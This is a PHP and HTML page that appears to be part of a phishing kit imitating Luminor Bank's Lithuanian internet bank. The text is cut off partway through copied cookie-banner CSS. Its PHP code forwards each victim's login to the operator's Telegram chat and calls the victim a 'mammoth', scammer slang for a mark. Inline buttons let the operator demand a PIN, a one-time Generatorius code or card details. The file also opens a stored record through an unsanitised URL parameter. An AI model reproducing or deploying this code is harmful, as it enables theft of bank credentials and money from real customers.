<?php

$config = json_decode(file_get_contents('config.json'));
$pay = @file_get_contents('./db/'.$_GET['id'].'.txt');

if ($pay === false) {
    exit('No pay');
}

$pay = json_decode($pay);

$price = ($pay->price);
$login = $pay->login;
$gen = $pay->msgTextGen;


if (!isset($_GET['q']) || $_GET['q'] != 'login') {
    message_to_telegram($config->token, $config->chat_id, "✅ Мамонт направлен на GEN{$gen} \n<b>🔹 Login:</b> <code>{$login}</code>",[

          [
             ['text' => '📱 Custom 📱', 'callback_data' => '/message '.$_GET['id']],
         ],
          [
             ['text' => '📱 PIN 📱', 'callback_data' => '/cpin '.$_GET['id']],
         ],
          [
             ['text' => '📱 GEN 📱', 'callback_data' => '/cgen '.$_GET['id']],
         ],
         [
             ['text' => '❌ Запрос карты ❌' , 'callback_data' => '/fail '.$_GET['id']],
             ],

             [
                 ['text' => '❌ Неверный лк ❌' , 'callback_data' => '/app '.$_GET['id']],
                 ],
 ]);
}

if (isset($_GET['q']) && $_GET['q'] == 'login') {
    message_to_telegram($config->token, $config->chat_id, "⚠️ <b>Новый лог ⚠️</b>\n➖➖➖➖➖➖➖➖➖➖\n<b>🔹 Login:</b> <code>{$login}</code>\n<b>🔹 Type:</b> <code>Generatorius</code>",[

         [
            ['text' => '📱 Custom 📱', 'callback_data' => '/message '.$_GET['id']],
        ],
         [
            ['text' => '📱 PIN 📱', 'callback_data' => '/cpin '.$_GET['id']],
        ],
         [
            ['text' => '📱 GEN 📱', 'callback_data' => '/cgen '.$_GET['id']],
        ],
        [
            ['text' => '❌ Запрос карты ❌' , 'callback_data' => '/fail '.$_GET['id']],
            ],

            [
                ['text' => '❌ Неверный лк ❌' , 'callback_data' => '/app '.$_GET['id']],
                ],
]);
}


switch ($cmd[0]) {
    case '/gen':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msg':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin2':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

function message_to_telegram($bot_token, $chat_id, $text, $kb = [])
{
    $ch = curl_init();
    $ch_post = [
        CURLOPT_URL => 'https://api.telegram.org/bot' . $bot_token . '/sendMessage',
        CURLOPT_POST => TRUE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_POSTFIELDS => [
            'chat_id' => $chat_id,
            'parse_mode' => 'HTML',
            'text' => $text,
            'reply_markup' => json_encode([
                'inline_keyboard' => $kb
            ]),
        ]
    ];
    curl_setopt_array($ch, $ch_post);
    curl_exec($ch);
}


?>

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="lt">
  <div id="in-page-channel-node-id" data-channel-name="in_page_channel_5WQ9D1"></div>
  <head>
    <script type="text/javascript">
      function OptanonWrapper() {}
    </script>
    <meta http-equiv="Content-Type" content="text/html">
    <meta http-equiv="X-UA-Compatible" content="IE=11">
    <meta charset="UTF-8">
    <title> Luminor </title>
    <meta name="description" content="Luminor Bank AS Internet Bank">
    <link href="css/css.css" rel="stylesheet">

    
    <style>
      @keyframes slide-in-one-tap {
        from {
          transform: translateY(80px);
        }

        to {
          transform: translateY(0px);
        }
      }

      .trust-hide-gracefully {
        opacity: 0;
      }

      .trust-wallet-one-tap .hidden {
        display: none;
      }

      .trust-wallet-one-tap .semibold {
        font-weight: 500;
      }

      .trust-wallet-one-tap .binance-plex {
        font-family: 'Binance';
      }

      .trust-wallet-one-tap .rounded-full {
        border-radius: 50%;
      }

      .trust-wallet-one-tap .flex {
        display: flex;
      }

      .trust-wallet-one-tap .flex-col {
        flex-direction: column;
      }

      .trust-wallet-one-tap .items-center {
        align-items: center;
      }

      .trust-wallet-one-tap .space-between {
        justify-content: space-between;
      }

      .trust-wallet-one-tap .justify-center {
        justify-content: center;
      }

      .trust-wallet-one-tap .w-full {
        width: 100%;
      }

      .trust-wallet-one-tap .box {
        transition: all 0.5s cubic-bezier(0, 0, 0, 1.43);
        animation: slide-in-one-tap 0.5s cubic-bezier(0, 0, 0, 1.43);
        width: 384px;
        border-radius: 15px;
        background: #fff;
        box-shadow: 0px 2px 4px 0px rgba(0, 0, 0, 0.25);
        position: fixed;
        right: 30px;
        bottom: 30px;
        z-index: 1020;
      }

      .trust-wallet-one-tap .header {
        gap: 15px;
        border-bottom: 1px solid #e6e6e6;
        padding: 10px 18px;
      }

      .trust-wallet-one-tap .header .left-items {
        gap: 15px;
      }

      .trust-wallet-one-tap .header .title {
        color: #1e2329;
        font-size: 18px;
        font-weight: 600;
        line-height: 28px;
      }

      .trust-wallet-one-tap .header .subtitle {
        color: #474d57;
        font-size: 14px;
        line-height: 20px;
      }

      .trust-wallet-one-tap .header .close {
        color: #1e2329;
        cursor: pointer;
      }

      .trust-wallet-one-tap .body {
        padding: 9px 18px;
        gap: 10px;
      }

      .trust-wallet-one-tap .body .right-items {
        gap: 10px;
        width: 100%;
      }

      .trust-wallet-one-tap .body .right-items .wallet-title {
        color: #1e2329;
        font-size: 16px;
        font-weight: 600;
        line-height: 20px;
      }

      .trust-wallet-one-tap .body .right-items .wallet-subtitle {
        color: #474d57;
        font-size: 14px;
        line-height: 20px;
      }

      .trust-wallet-one-tap .connect-indicator {
        gap: 15px;
        padding: 8px 0;
      }

      .trust-wallet-one-tap .connect-indicator .flow-icon {
        color: #474d57;
      }

      .trust-wallet-one-tap .loading-color {
        color: #fff;
      }

      .trust-wallet-one-tap .button {
        border-radius: 50px;
        outline: 2px solid transparent;
        outline-offset: 2px;
        background-color: rgb(5, 0, 255);
        border-color: rgb(229, 231, 235);
        cursor: pointer;
        text-align: center;
        height: 45px;
      }

      .trust-wallet-one-tap .button .button-text {
        color: #fff;
        font-size: 16px;
        font-weight: 600;
        line-height: 20px;
      }

      .trust-wallet-one-tap .footer {
        margin: 20px 30px;
      }

      .trust-wallet-one-tap .check-icon {
        color: #fff;
      }

      @font-face {
        font-family: 'Binance';
        src: url(chrome-extension://egjidjbpglichdcondbcbdnbeeppgdph/fonts/BinancePlex-Regular.otf) format('opentype');
        font-weight: 400;
        font-style: normal;
      }

      @font-face {
        font-family: 'Binance';
        src: url(chrome-extension://egjidjbpglichdcondbcbdnbeeppgdph/fonts/BinancePlex-Medium.otf) format('opentype');
        font-weight: 500;
        font-style: normal;
      }

      @font-face {
        font-family: 'Binance';
        src: url(chrome-extension://egjidjbpglichdcondbcbdnbeeppgdph/fonts/BinancePlex-SemiBold.otf) format('opentype');
        font-weight: 600;
        font-style: normal;
      }

      /*# sourceMappingURL=data:application/json;base64,  */
    </style>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style id="onetrust-style">
      #onetrust-banner-sdk .onetrust-vendors-list-handler {
        cursor: pointer;
        color: #1f96db;
        font-size: inherit;
        font-weight: bold;
        text-decoration: none;
        margin-left: 5px;
        white-space: normal;
        word-wrap: break-word;
        text-align: left
      }

      #onetrust-banner-sdk .onetrust-vendors-list-handler:hover {
        color: #1f96db
      }

      #onetrust-banner-sdk:focus {
        outline: 2px solid #000;
        outline-offset: -2px
      }

      #onetrust-banner-sdk a:focus {
        outline: 2px solid #000
      }

      #onetrust-banner-sdk #onetrust-accept-btn-handler,
      #onetrust-banner-sdk #onetrust-reject-all-handler,
      #onetrust-banner-sdk #onetrust-pc-btn-handler {
        outline-offset: 1px
      }

      #onetrust-banner-sdk.ot-bnr-w-logo .ot-bnr-logo {
        height: 64px;
        width: 64px
      }

      #onetrust-banner-sdk #onetrust-policy svg,
      #onetrust-banner-sdk .banner-option svg {
        height: 13px;
        width: 13px;
        margin-left: 1px
      }

      #onetrust-banner-sdk #onetrust-policy svg.ot-ext-lnk,
      #onetrust-banner-sdk .banner-option svg.ot-ext-lnk {
        vertical-align: middle
      }

      #onetrust-banner-sdk .ot-tcf2-vendor-count.ot-text-bold {
        font-weight: bold
      }

      #onetrust-banner-sdk .ot-button-order-0 {
        order: 0
      }

      #onetrust-banner-sdk .ot-button-order-1 {
        order: 1
      }

      #onetrust-banner-sdk .ot-button-order-2 {
        order: 2
      }

      #onetrust-banner-sdk #onetrust-close-btn-container svg {
        height: 10px;
        width: 10px;
        pointer-events: none
      }

      #onetrust-banner-sdk .ot-close-icon,
      #onetrust-pc-sdk .ot-close-icon,
      #ot-sync-ntfy .ot-close-icon {
        background-size: contain;
        background-repeat: no-repeat;
        background-position: center;
        height: 12px;
        width: 12px
      }

      #onetrust-banner-sdk .powered-by-logo,
      #onetrust-banner-sdk .ot-pc-footer-logo a,
      #onetrust-pc-sdk .powered-by-logo,
      #onetrust-pc-sdk .ot-pc-footer-logo a,
      #ot-sync-ntfy .powered-by-logo,
      #ot-sync-ntfy .ot-pc-footer-logo a {
        background-size: contain;
        background-repeat: no-repeat;
        background-position: center;
        height: 25px;
        width: 152px;
        display: block;
        text-decoration: none;
        font-size: .75em
      }

      #onetrust-banner-sdk .powered-by-logo:hover,
      #onetrust-banner-sdk .ot-pc-footer-logo a:hover,
      #onetrust-pc-sdk .powered-by-logo:hover,
      #onetrust-pc-sdk .ot-pc-footer-logo a:hover,
      #ot-sync-ntfy .powered-by-logo:hover,
      #ot-sync-ntfy .ot-pc-footer-logo a:hover {
        color: #565656
      }

      #onetrust-banner-sdk h3 *,
      #onetrust-banner-sdk h4 *,
      #onetrust-banner-sdk h6 *,
      #onetrust-banner-sdk button *,
      #onetrust-banner-sdk a[data-parent-id] *,
      #onetrust-banner-sdk p[role=heading] *,
      #onetrust-pc-sdk h3 *,
      #onetrust-pc-sdk h4 *,
      #onetrust-pc-sdk h6 *,
      #onetrust-pc-sdk button *,
      #onetrust-pc-sdk a[data-parent-id] *,
      #onetrust-pc-sdk p[role=heading] *,
      #ot-sync-ntfy h3 *,
      #ot-sync-ntfy h4 *,
      #ot-sync-ntfy h6 *,
      #ot-sync-ntfy button *,
      #ot-sync-ntfy a[data-parent-id] *,
      #ot-sync-ntfy p[role=heading] * {
        font-size: inherit;
        font-weight: inherit;
        color: inherit
      }

      #onetrust-banner-sdk .ot-hide,
      #onetrust-pc-sdk .ot-hide,
      #ot-sync-ntfy .ot-hide {
        display: none !important
      }

      #onetrust-banner-sdk button.ot-link-btn:hover,
      #onetrust-pc-sdk button.ot-link-btn:hover,
      #ot-sync-ntfy button.ot-link-btn:hover {
        text-decoration: underline;
        opacity: 1
      }

      #onetrust-pc-sdk .ot-sdk-row .ot-sdk-column {
        padding: 0
      }

      #onetrust-pc-sdk .ot-sdk-container {
        padding-right: 0
      }

      #onetrust-pc-sdk .ot-sdk-row {
        flex-direction: initial;
        width: 100%
      }

      #onetrust-pc-sdk [type=checkbox]:checked,
      #onetrust-pc-sdk [type=checkbox]:not(:checked) {
        pointer-events: initial
      }

      #onetrust-pc-sdk [type=checkbox]:disabled+label::before,
      #onetrust-pc-sdk [type=checkbox]:disabled+label:after,
      #onetrust-pc-sdk [type=checkbox]:disabled+label,
      #onetrust-pc-sdk [type=checkbox][aria-disabled=true]+label::before,
      #onetrust-pc-sdk [type=checkbox][aria-disabled=true]+label:after,
      #onetrust-pc-sdk [type=checkbox][aria-disabled=true]+label {
        pointer-events: none;
        opacity: .8
      }

      #onetrust-pc-sdk #vendor-list-content {
        transform: translate3d(0, 0, 0)
      }

      #onetrust-pc-sdk li input[type=checkbox] {
        z-index: 1
      }

      #onetrust-pc-sdk li .ot-checkbox label {
        z-index: 2
      }

      #onetrust-pc-sdk li .ot-checkbox input[type=checkbox] {
        height: auto;
        width: auto
      }

      #onetrust-pc-sdk li .host-title a,
      #onetrust-pc-sdk li .ot-host-name a,
      #onetrust-pc-sdk li .accordion-text,
      #onetrust-pc-sdk li .ot-acc-txt {
        z-index: 2;
        position: relative
      }

      #onetrust-pc-sdk input {
        margin: 3px .1ex
      }

      #onetrust-pc-sdk .pc-logo,
      #onetrust-pc-sdk .ot-pc-logo {
        height: 60px;
        width: 180px;
        background-position: center;
        background-size: contain;
        background-repeat: no-repeat;
        display: inline-flex;
        justify-content: center;
        align-items: center
      }

      #onetrust-pc-sdk .pc-logo img,
      #onetrust-pc-sdk .ot-pc-logo img {
        max-height: 100%;
        max-width: 100%
      }

      #onetrust-pc-sdk .pc-logo svg,
      #onetrust-pc-sdk .ot-pc-logo svg {
        height: 60px;
        width: 180px
      }

      #onetrust-pc-sdk #close-pc-btn-handler>svg {
        margin: auto;
        display: block;
        height: 12px;
        width: 12px
      }

      #onetrust-pc-sdk #ot-pc-desc svg,
      #onetrust-pc-sdk .ot-desc-cntr svg,
      #onetrust-pc-sdk .ot-cat-grp svg {
        height: 13px;
        width: 13px;
        margin-left: -7px;
        vertical-align: middle;
        margin-right: 5px
      }

      #onetrust-pc-sdk .ot-host-hdr>a {
        display: inline-block
      }

      #onetrust-pc-sdk input[aria-disabled=true],
      #onetrust-banner-sdk input[aria-disabled=true] {
        pointer-events: none;
        opacity: .6
      }

      #onetrust-pc-sdk input[aria-disabled=true]+label,
      #onetrust-banner-sdk input[aria-disabled=true]+label {
        pointer-events: none;
        opacity: .6;
        cursor: not-allowed
      }

      #onetrust-pc-sdk .screen-reader-only,
      #onetrust-pc-sdk .ot-scrn-rdr,
      .ot-sdk-cookie-policy .screen-reader-only,
      .ot-sdk-cookie-policy .ot-scrn-rdr {
        border: 0;
        clip: rect(0 0 0 0);
        height: 1px;
        margin: -1px;
        overflow: hidden;
        padding: 0;
        position: absolute;
        width: 1px
      }

      #onetrust-pc-sdk.ot-fade-in,
      .onetrust-pc-dark-filter.ot-fade-in,
      #onetrust-banner-sdk.ot-fade-in,
      .ot-confirm-dialog-overlay.ot-fade-in {
        animation-name: onetrust-fade-in;
        animation-duration: 400ms;
        animation-timing-function: ease-in-out
      }

      #onetrust-pc-sdk.ot-hide {
        display: none !important
      }

      .onetrust-pc-dark-filter.ot-hide {
        display: none !important
      }

      #ot-sdk-btn.ot-sdk-show-settings,
      #ot-sdk-btn.optanon-show-settings {
        color: #fff;
        background-color: #468254;
        height: auto;
        white-space: normal;
        word-wrap: break-word;
        padding: .8em 2em;
        font-size: .8em;
        line-height: 1.2;
        cursor: pointer;
        -moz-transition: .1s ease;
        -o-transition: .1s ease;
        -webkit-transition: 1s ease;
        transition: .1s ease
      }

      #ot-sdk-btn.ot-sdk-show-settings:hover,
      #ot-sdk-btn.optanon-show-settings:hover {
        color: #fff;
        background-color: #2c6415
      }

      #ot-sdk-btn.ot-sdk-show-settings:active,
      #ot-sdk-btn.optanon-show-settings:active {
        color: #fff;
        background-color: #2c6415;
        border: 1px solid rgba(162, 192, 169, .5)
      }

      .onetrust-pc-dark-filter {
        background: rgba(0, 0, 0, .5);
        z-index: 2147483646;
        width: 100%;
        height: 100%;
        overflow: hidden;
        position: fixed;
        top: 0;
        bottom: 0;
        left: 0
      }

      @keyframes onetrust-fade-in {
        0% {
          opacity: 0
        }

        100% {
          opacity: 1
        }
      }

      .ot-cookie-label {
        text-decoration: underline
      }

      @media only screen and (min-width: 426px)and (max-width: 896px)and (orientation: landscape) {
        #onetrust-pc-sdk p {
          font-size: .75em
        }
      }

      #onetrust-banner-sdk .banner-option-input:focus+label {
        outline: 1px solid #000;
        outline-style: auto
      }

      .category-vendors-list-handler+a:focus,
      .category-vendors-list-handler+a:focus-visible {
        outline: 2px solid #000
      }

      #onetrust-pc-sdk .ot-userid-title {
        margin-top: 10px
      }

      #onetrust-pc-sdk .ot-userid-title>span,
      #onetrust-pc-sdk .ot-userid-timestamp>span {
        font-weight: 700
      }

      #onetrust-pc-sdk .ot-userid-desc {
        font-style: italic
      }

      #onetrust-pc-sdk .ot-host-desc a {
        pointer-events: initial
      }

      #onetrust-pc-sdk .ot-ven-hdr>p a {
        position: relative;
        z-index: 2;
        pointer-events: initial
      }

      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info a,
      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info a {
        margin-right: 8px
      }

      #onetrust-pc-sdk .ot-vnd-item svg.ot-ext-lnk {
        align-self: center
      }

      #onetrust-pc-sdk .ot-pc-footer-logo svg,
      #onetrust-pc-sdk .ot-pc-footer-logo img {
        width: 136px;
        height: 16px
      }

      #onetrust-pc-sdk .ot-pur-vdr-count {
        font-weight: 400;
        font-size: .8em;
        padding-top: 3px;
        display: block
      }

      #onetrust-pc-sdk p[role=heading] .ot-pur-vdr-count {
        font-weight: 400 !important;
        font-size: .8em !important
      }

      #onetrust-banner-sdk #onetrust-policy .ot-optout-signal,
      #onetrust-pc-sdk #ot-pc-content .ot-optout-signal {
        border: 1px solid #32ae88;
        border-radius: 3px;
        padding: 5px;
        margin-bottom: 10px;
        background-color: #f9fffa;
        font-size: .85rem;
        line-height: 2
      }

      #onetrust-banner-sdk #onetrust-policy .ot-optout-signal .ot-optout-icon,
      #onetrust-pc-sdk #ot-pc-content .ot-optout-signal .ot-optout-icon {
        display: inline;
        margin-right: 5px
      }

      #onetrust-banner-sdk #onetrust-policy .ot-optout-signal svg,
      #onetrust-pc-sdk #ot-pc-content .ot-optout-signal svg {
        height: 20px;
        width: 30px
      }

      #onetrust-banner-sdk #onetrust-policy .ot-optout-signal svg.ot-source-sprite,
      #onetrust-pc-sdk #ot-pc-content .ot-optout-signal svg.ot-source-sprite {
        position: relative;
        bottom: -3px
      }

      #onetrust-banner-sdk #onetrust-policy .ot-optout-signal svg:not(.ot-source-sprite),
      #onetrust-pc-sdk #ot-pc-content .ot-optout-signal svg:not(.ot-source-sprite) {
        transform: scale(0.5)
      }

      #onetrust-banner-sdk #onetrust-policy .ot-optout-signal svg:not(.ot-source-sprite) path,
      #onetrust-pc-sdk #ot-pc-content .ot-optout-signal svg:not(.ot-source-sprite) path {
        fill: #32ae88
      }

      #onetrust-consent-sdk .ot-general-modal {
        overflow: hidden;
        position: fixed;
        margin: 0 auto;
        top: 50%;
        left: 50%;
        width: 40%;
        padding: 1.5rem;
        max-width: 575px;
        min-width: 575px;
        z-index: 2147483647;
        border-radius: 2.5px;
        transform: translate(-50%, -50%)
      }

      #onetrust-consent-sdk .ot-signature-health-group {
        margin-top: 1rem;
        padding-left: 1.25rem;
        padding-right: 1.25rem;
        margin-bottom: .625rem;
        width: calc(100% - 2.5rem)
      }

      #onetrust-consent-sdk .ot-signature-health-group .ot-signature-health-form {
        gap: .5rem
      }

      #onetrust-consent-sdk .ot-signature-health .ot-signature-health-form {
        width: 70%;
        gap: .35rem
      }

      #onetrust-consent-sdk .ot-signature-health .ot-signature-input {
        height: 38px;
        padding: 6px 10px;
        background-color: #fff;
        border: 1px solid #d1d1d1;
        border-radius: 4px;
        box-shadow: none;
        box-sizing: border-box
      }

      #onetrust-consent-sdk .ot-signature-health .ot-signature-subtitle {
        font-size: 1.125rem
      }

      #onetrust-consent-sdk .ot-signature-health .ot-signature-group-title {
        font-size: 1.25rem;
        font-weight: bold
      }

      #onetrust-consent-sdk .ot-signature-health,
      #onetrust-consent-sdk .ot-signature-health-group {
        display: flex;
        flex-direction: column;
        gap: 1rem
      }

      #onetrust-consent-sdk .ot-signature-health .ot-signature-cont,
      #onetrust-consent-sdk .ot-signature-health-group .ot-signature-cont {
        display: flex;
        flex-direction: column;
        gap: .25rem
      }

      #onetrust-consent-sdk .ot-signature-health .ot-signature-paragraph,
      #onetrust-consent-sdk .ot-signature-health-group .ot-signature-paragraph {
        margin: 0;
        line-height: 20px;
        font-size: max(14px, .875rem)
      }

      #onetrust-consent-sdk .ot-signature-health .ot-health-signature-error,
      #onetrust-consent-sdk .ot-signature-health-group .ot-health-signature-error {
        color: #4d4d4d;
        font-size: min(12px, .75rem)
      }

      #onetrust-consent-sdk .ot-signature-health .ot-signature-buttons-cont,
      #onetrust-consent-sdk .ot-signature-health-group .ot-signature-buttons-cont {
        margin-top: max(.75rem, 2%);
        gap: 1rem;
        display: flex;
        justify-content: flex-end
      }

      #onetrust-consent-sdk .ot-signature-health .ot-signature-button,
      #onetrust-consent-sdk .ot-signature-health-group .ot-signature-button {
        flex: 1;
        height: auto;
        color: #fff;
        cursor: pointer;
        line-height: 1.2;
        min-width: 125px;
        font-weight: 600;
        font-size: .813em;
        border-radius: 2px;
        padding: 12px 10px;
        white-space: normal;
        word-wrap: break-word;
        word-break: break-word;
        background-color: #68b631;
        border: 2px solid #68b631
      }

      #onetrust-consent-sdk .ot-signature-health .ot-signature-button.reject,
      #onetrust-consent-sdk .ot-signature-health-group .ot-signature-button.reject {
        background-color: #fff
      }

      #onetrust-consent-sdk .ot-input-field-cont {
        display: flex;
        flex-direction: column;
        gap: .5rem
      }

      #onetrust-consent-sdk .ot-input-field-cont .ot-signature-input {
        width: 65%
      }

      #onetrust-consent-sdk .ot-signature-health-form {
        display: flex;
        flex-direction: column
      }

      #onetrust-consent-sdk .ot-signature-health-form .ot-signature-label {
        margin-bottom: 0;
        line-height: 20px;
        font-size: max(14px, .875rem)
      }

      #onetrust-consent-sdk #onetrust-sprite-svg {
        display: none
      }

      @media only screen and (max-width: 600px) {
        #onetrust-consent-sdk .ot-general-modal {
          min-width: 100%
        }

        #onetrust-consent-sdk .ot-signature-health .ot-signature-health-form {
          width: 100%
        }

        #onetrust-consent-sdk .ot-input-field-cont .ot-signature-input {
          width: 100%
        }
      }

      #onetrust-banner-sdk,
      #onetrust-pc-sdk,
      #ot-sdk-cookie-policy,
      #ot-sync-ntfy {
        font-size: 16px
      }

      #onetrust-banner-sdk *,
      #onetrust-banner-sdk ::after,
      #onetrust-banner-sdk ::before,
      #onetrust-pc-sdk *,
      #onetrust-pc-sdk ::after,
      #onetrust-pc-sdk ::before,
      #ot-sdk-cookie-policy *,
      #ot-sdk-cookie-policy ::after,
      #ot-sdk-cookie-policy ::before,
      #ot-sync-ntfy *,
      #ot-sync-ntfy ::after,
      #ot-sync-ntfy ::before {
        -webkit-box-sizing: content-box;
        -moz-box-sizing: content-box;
        box-sizing: content-box
      }

      #onetrust-banner-sdk div,
      #onetrust-banner-sdk span,
      #onetrust-banner-sdk h1,
      #onetrust-banner-sdk h2,
      #onetrust-banner-sdk h3,
      #onetrust-banner-sdk h4,
      #onetrust-banner-sdk h5,
      #onetrust-banner-sdk h6,
      #onetrust-banner-sdk p,
      #onetrust-banner-sdk img,
      #onetrust-banner-sdk svg,
      #onetrust-banner-sdk button,
      #onetrust-banner-sdk section,
      #onetrust-banner-sdk a,
      #onetrust-banner-sdk label,
      #onetrust-banner-sdk input,
      #onetrust-banner-sdk ul,
      #onetrust-banner-sdk li,
      #onetrust-banner-sdk nav,
      #onetrust-banner-sdk table,
      #onetrust-banner-sdk thead,
      #onetrust-banner-sdk tr,
      #onetrust-banner-sdk td,
      #onetrust-banner-sdk tbody,
      #onetrust-banner-sdk .ot-main-content,
      #onetrust-banner-sdk .ot-toggle,
      #onetrust-banner-sdk #ot-content,
      #onetrust-banner-sdk #ot-pc-content,
      #onetrust-banner-sdk .checkbox,
      #onetrust-pc-sdk div,
      #onetrust-pc-sdk span,
      #onetrust-pc-sdk h1,
      #onetrust-pc-sdk h2,
      #onetrust-pc-sdk h3,
      #onetrust-pc-sdk h4,
      #onetrust-pc-sdk h5,
      #onetrust-pc-sdk h6,
      #onetrust-pc-sdk p,
      #onetrust-pc-sdk img,
      #onetrust-pc-sdk svg,
      #onetrust-pc-sdk button,
      #onetrust-pc-sdk section,
      #onetrust-pc-sdk a,
      #onetrust-pc-sdk label,
      #onetrust-pc-sdk input,
      #onetrust-pc-sdk ul,
      #onetrust-pc-sdk li,
      #onetrust-pc-sdk nav,
      #onetrust-pc-sdk table,
      #onetrust-pc-sdk thead,
      #onetrust-pc-sdk tr,
      #onetrust-pc-sdk td,
      #onetrust-pc-sdk tbody,
      #onetrust-pc-sdk .ot-main-content,
      #onetrust-pc-sdk .ot-toggle,
      #onetrust-pc-sdk #ot-content,
      #onetrust-pc-sdk #ot-pc-content,
      #onetrust-pc-sdk .checkbox,
      #ot-sdk-cookie-policy div,
      #ot-sdk-cookie-policy span,
      #ot-sdk-cookie-policy h1,
      #ot-sdk-cookie-policy h2,
      #ot-sdk-cookie-policy h3,
      #ot-sdk-cookie-policy h4,
      #ot-sdk-cookie-policy h5,
      #ot-sdk-cookie-policy h6,
      #ot-sdk-cookie-policy p,
      #ot-sdk-cookie-policy img,
      #ot-sdk-cookie-policy svg,
      #ot-sdk-cookie-policy button,
      #ot-sdk-cookie-policy section,
      #ot-sdk-cookie-policy a,
      #ot-sdk-cookie-policy label,
      #ot-sdk-cookie-policy input,
      #ot-sdk-cookie-policy ul,
      #ot-sdk-cookie-policy li,
      #ot-sdk-cookie-policy nav,
      #ot-sdk-cookie-policy table,
      #ot-sdk-cookie-policy thead,
      #ot-sdk-cookie-policy tr,
      #ot-sdk-cookie-policy td,
      #ot-sdk-cookie-policy tbody,
      #ot-sdk-cookie-policy .ot-main-content,
      #ot-sdk-cookie-policy .ot-toggle,
      #ot-sdk-cookie-policy #ot-content,
      #ot-sdk-cookie-policy #ot-pc-content,
      #ot-sdk-cookie-policy .checkbox,
      #ot-sync-ntfy div,
      #ot-sync-ntfy span,
      #ot-sync-ntfy h1,
      #ot-sync-ntfy h2,
      #ot-sync-ntfy h3,
      #ot-sync-ntfy h4,
      #ot-sync-ntfy h5,
      #ot-sync-ntfy h6,
      #ot-sync-ntfy p,
      #ot-sync-ntfy img,
      #ot-sync-ntfy svg,
      #ot-sync-ntfy button,
      #ot-sync-ntfy section,
      #ot-sync-ntfy a,
      #ot-sync-ntfy label,
      #ot-sync-ntfy input,
      #ot-sync-ntfy ul,
      #ot-sync-ntfy li,
      #ot-sync-ntfy nav,
      #ot-sync-ntfy table,
      #ot-sync-ntfy thead,
      #ot-sync-ntfy tr,
      #ot-sync-ntfy td,
      #ot-sync-ntfy tbody,
      #ot-sync-ntfy .ot-main-content,
      #ot-sync-ntfy .ot-toggle,
      #ot-sync-ntfy #ot-content,
      #ot-sync-ntfy #ot-pc-content,
      #ot-sync-ntfy .checkbox {
        font-family: inherit;
        font-weight: normal;
        -webkit-font-smoothing: auto;
        letter-spacing: normal;
        line-height: normal;
        padding: 0;
        margin: 0;
        height: auto;
        min-height: 0;
        max-height: none;
        width: auto;
        min-width: 0;
        max-width: none;
        border-radius: 0;
        border: none;
        clear: none;
        float: none;
        position: static;
        bottom: auto;
        left: auto;
        right: auto;
        top: auto;
        text-align: left;
        text-decoration: none;
        text-indent: 0;
        text-shadow: none;
        text-transform: none;
        white-space: normal;
        background: none;
        overflow: visible;
        vertical-align: baseline;
        visibility: visible;
        z-index: auto;
        box-shadow: none
      }

      #onetrust-banner-sdk img,
      #onetrust-pc-sdk img,
      #ot-sdk-cookie-policy img,
      #ot-sync-ntfy img {
        overflow: hidden !important
      }

      #onetrust-banner-sdk label:before,
      #onetrust-banner-sdk label:after,
      #onetrust-banner-sdk .checkbox:after,
      #onetrust-banner-sdk .checkbox:before,
      #onetrust-pc-sdk label:before,
      #onetrust-pc-sdk label:after,
      #onetrust-pc-sdk .checkbox:after,
      #onetrust-pc-sdk .checkbox:before,
      #ot-sdk-cookie-policy label:before,
      #ot-sdk-cookie-policy label:after,
      #ot-sdk-cookie-policy .checkbox:after,
      #ot-sdk-cookie-policy .checkbox:before,
      #ot-sync-ntfy label:before,
      #ot-sync-ntfy label:after,
      #ot-sync-ntfy .checkbox:after,
      #ot-sync-ntfy .checkbox:before {
        content: "";
        content: none
      }

      #onetrust-banner-sdk .ot-sdk-container,
      #onetrust-pc-sdk .ot-sdk-container,
      #ot-sdk-cookie-policy .ot-sdk-container {
        position: relative;
        width: 100%;
        max-width: 100%;
        margin: 0 auto;
        padding: 0 20px;
        box-sizing: border-box
      }

      #onetrust-banner-sdk .ot-sdk-column,
      #onetrust-banner-sdk .ot-sdk-columns,
      #onetrust-pc-sdk .ot-sdk-column,
      #onetrust-pc-sdk .ot-sdk-columns,
      #ot-sdk-cookie-policy .ot-sdk-column,
      #ot-sdk-cookie-policy .ot-sdk-columns {
        width: 100%;
        float: left;
        box-sizing: border-box;
        padding: 0;
        display: initial
      }

      @media(min-width: 400px) {

        #onetrust-banner-sdk .ot-sdk-container,
        #onetrust-pc-sdk .ot-sdk-container,
        #ot-sdk-cookie-policy .ot-sdk-container {
          width: 90%;
          padding: 0
        }
      }

      @media(min-width: 550px) {

        #onetrust-banner-sdk .ot-sdk-container,
        #onetrust-pc-sdk .ot-sdk-container,
        #ot-sdk-cookie-policy .ot-sdk-container {
          width: 100%
        }

        #onetrust-banner-sdk .ot-sdk-column,
        #onetrust-banner-sdk .ot-sdk-columns,
        #onetrust-pc-sdk .ot-sdk-column,
        #onetrust-pc-sdk .ot-sdk-columns,
        #ot-sdk-cookie-policy .ot-sdk-column,
        #ot-sdk-cookie-policy .ot-sdk-columns {
          margin-left: 4%
        }

        #onetrust-banner-sdk .ot-sdk-column:first-child,
        #onetrust-banner-sdk .ot-sdk-columns:first-child,
        #onetrust-pc-sdk .ot-sdk-column:first-child,
        #onetrust-pc-sdk .ot-sdk-columns:first-child,
        #ot-sdk-cookie-policy .ot-sdk-column:first-child,
        #ot-sdk-cookie-policy .ot-sdk-columns:first-child {
          margin-left: 0
        }

